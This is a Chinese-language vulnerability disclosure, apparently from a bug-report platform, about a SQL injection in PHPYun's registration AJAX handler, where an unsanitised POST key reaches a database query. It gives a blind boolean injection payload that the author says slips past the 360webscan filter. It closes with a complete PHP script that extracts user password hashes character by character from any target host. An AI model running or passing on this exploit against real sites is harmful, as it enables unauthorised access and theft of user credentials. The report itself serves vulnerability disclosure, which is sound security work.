### 简要描述:
可以引入单引号, 但是在这里也不需要引入单引号。
虽然有360 但是还是能注入出密码。
写了个小脚本来跑。(代码很渣 速度很慢 但是还是能跑完整) - - 特么的完全不会写, 太渣了。
### 详细说明:
在model/register.class.php中。
```
function ajax_reg_action(){
$post = array_keys($_POST);
$key_name = $post[0];
if($key_name=="username"){
$username=@iconv("utf-8","gbk",$_POST['username']);
if($this->config['sy_uc_type']=="uc_center"){
$this->obj->uc_open();
$user = uc_get_user($username);
}else{
$user = $this->obj->DB_select_once("member","`username`='".$username."'");
}
if($this->config['sy_regname']!=""){
$regname=@explode(",",$this->config['sy_regname']);
if(in_array($username,$regname)){
echo 2;die;
}
}
}else{
$user = $this->obj->DB_select_once("member","`".$key_name."`='".$_POST[$key_name]."'");
}
if(is_array($user)){echo 1;}else{echo 0;}
```
首先在这里 $post = array_keys($_POST);
获取了POST来的key 。$key_name = $post[0]; 然后$key_name从数组里面取了第一个。
都知道phpyun的全局过滤会把单引号过滤的, 但是那是针对value 在这里是key 所以完全可以引入单引号。 但是在这里并不需要引入单引号。。
继续看。
```
if($key_name=="username"){
$username=@iconv("utf-8","gbk",$_POST['username']);
if($this->config['sy_uc_type']=="uc_center"){
$this->obj->uc_open();
$user = uc_get_user($username);
}else{
```
可以 如果$key_name != username就进入else 继续看。
$this->obj->DB_select_once("member","`".$key_name."`='".$_POST[$key_name]."'");
然后就直接带入到了查询当中,而且是做的key。
这里执行的语句为
SELECT * FROM phpyun_member WHERE `xx`='asd'
这里xx 和 asd都是可控的 这里asd那里肯定是不能利用的 因为在value 单引号会被转义的。
这里来控制key 这里构造一下。
因为key中不能含有空格 所以空格就用+号来替换一下。
这里来构造一下key
username`or%2Bif(ascii(substr(password,$yu,1))=$i,1,0)#=asd
有360webscan 但是这语句可以通过360webscan的。
可是在这里 key中也不能含有=号 会被替换`=
这简单 把=号换成<>
username`or%2Bif(ascii(substr(password,$yu,1))<>$i,1,0)#=asd
在这里如何查询出来的和$i想等 那么就会输出0 其他情况就会输出1.
这里写个小脚本。
P.S. 没学过语言。。 完全都是瞎写的, 刚好之前写的74cms那个和现在这个差不多。 直接用那个改一下就可以了
### 漏洞证明:
```
<?php
$host=$argv[1];
$yu=1;
for($i=0;$i<120;$i++){
$lenth=strlen($result);
if ($lenth==32){
echo "\r\n";
echo "Ok The password is:$result";
exit;
};
$content="username`or%2Bif(ascii(substr(password,$yu,1))<>$i,1,0)#=asd";
$url = $host.'/index.php?m=register&c=ajax_reg';//接收XML地址
$header = "Content-type: text/xml";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
//curl_setopt($ch, CURLOPT_HTTPHEADER, $header);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $content);
$response = curl_exec($ch);
if(curl_errno($ch)){
print curl_error($ch);
}
curl_close($ch);
if(eregi('0',$response)){
echo chr($i);
$result.=chr($i);
$lenth=strlen($result);
$yu=++$yu;
$i=0;
}
}
?>
```
[<img src="https://images.seebug.org/upload/201407/152308013849d824646007a3152649b8ec6a6edf.jpg" alt="p1.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201407/152308013849d824646007a3152649b8ec6a6edf.jpg)
脚本跑出来的 和数据库中的用户密码一样。
- - 就是脚本太渣了, 速度比较慢。
暂无评论